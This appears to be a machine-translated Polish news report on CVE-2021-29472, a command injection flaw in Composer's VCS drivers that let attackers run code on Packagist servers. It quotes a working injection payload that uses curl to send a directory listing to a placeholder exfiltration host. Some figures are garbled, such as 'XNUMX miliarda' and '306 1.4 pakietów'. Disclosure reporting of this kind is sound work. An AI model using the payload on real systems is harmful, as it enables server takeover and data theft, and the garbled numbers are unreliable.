Luka w menedżerze pakietów Composer, która umożliwia złamanie zabezpieczeń repozytorium PHP Packagist

W menedżerze zależności Composer wykryto krytyczną lukę (CVE-2021-29472), która umożliwia wykonanie dowolnych poleceń w systemie podczas przetwarzania pakietu ze specjalnie sformatowaną wartością adresu URL, która określa adres do pobrania kodu źródłowego. Problem występuje w komponentach GitDriver, SvnDriver i HgDriver używanych podczas korzystania z systemów kontroli źródła Git, Subversion i Mercurial. Luka została usunięta w wersjach Composer 1.10.22 i 2.0.13.

Należy zauważyć, że problem dotyczył przede wszystkim domyślnego repozytorium pakietów Composera, Packagist, które zawiera 306 1.4 pakietów dla programistów PHP i obsługuje ponad XNUMX miliarda pobrań miesięcznie. Eksperyment pokazał, że znając problem, napastnicy mogliby przejąć kontrolę nad infrastrukturą Packagist i przechwycić dane uwierzytelniające opiekunów lub przekierować pobierane pakiety na serwer strony trzeciej, organizując dostarczanie wariantów pakietów ze złośliwymi zmianami w celu zastąpienia backdoora podczas procesu instalacji zależności.

Zagrożenie dla użytkowników końcowych ogranicza się do tego, że zawartość pliku Composer.json jest zwykle ustalana przez użytkownika, a linki źródłowe są przesyłane podczas uzyskiwania dostępu do zewnętrznych repozytoriów, które zwykle są godne zaufania. Główny cios padł na repozytorium Packagist.org oraz usługę Private Packagist, która wywoływała Composer z przesyłaniem danych otrzymanych od użytkowników. Atakujący mogą wykonać swój kod na serwerach Packagist, umieszczając specjalnie zaprojektowany pakiet.

Zespół Packagist naprawił lukę w ciągu 12 godzin od jej zgłoszenia. Badacze prywatnie powiadomili programistów Packagist 22 kwietnia i problem został rozwiązany tego samego dnia. Publiczna aktualizacja narzędzia Composer dotycząca tej luki została opublikowana 27 kwietnia, a szczegóły ujawniono 28 kwietnia. Audyt logów na serwerach Packagist nie ujawnił żadnej podejrzanej aktywności związanej z luką.

Przyczyną problemu jest błąd w kodzie sprawdzającym adres URL w głównym pliku Composer.json i linkach do pobierania źródeł. Błąd występuje w kodzie od listopada 2011 roku. Packagist używa specjalnych warstw do organizowania ładowania kodu bez wiązania się z konkretnym systemem kontroli źródła, które jest wykonywane poprzez wywołanie „fromShellCommandline” i przekazanie argumentów wiersza poleceń. Na przykład dla git wywoływane jest polecenie „git ls-remote -heads $URL”, gdzie adres URL jest przetwarzany przy użyciu metody „ProcessExecutor::escape($url)”, unikając potencjalnie niebezpiecznych konstrukcji, takich jak „$(. ..)” lub „`...`”.

Sednem problemu jest to, że metoda ProcessExecutor::escape nie uniknęła sekwencji „-”, co pozwoliło na określenie dodatkowego parametru wywołania w adresie URL. Takiej ucieczki brakowało w sterownikach GitDriver.php, SvnDriver.php i HgDriver.php. Atak GitDriver.php został utrudniony przez fakt, że polecenie „git ls-remote” nie wspierało podawania dodatkowych argumentów po ścieżce. Atak na HgDriver.php okazał się możliwy poprzez przekazanie parametru „--config” do narzędzia „hq”, które pozwala zorganizować wykonanie dowolnego polecenia poprzez manipulację ustawieniem „alias.identify”. Na przykład, aby pobrać i wykonać kod, uruchamiając narzędzie curl, możesz określić: —config=alias.identify=!curl http://exfiltration-host.tld —data „$(ls -alh)”

Wysyłając pakiet testowy o podobnym adresie URL do Packagist, badacze sprawdzili, że po wysłaniu ich serwer otrzymał żądanie HTTP z jednego z serwerów Packagist w AWS zawierające listę plików w bieżącym katalogu.

Źródło: opennet.ru

Dodaj komentarz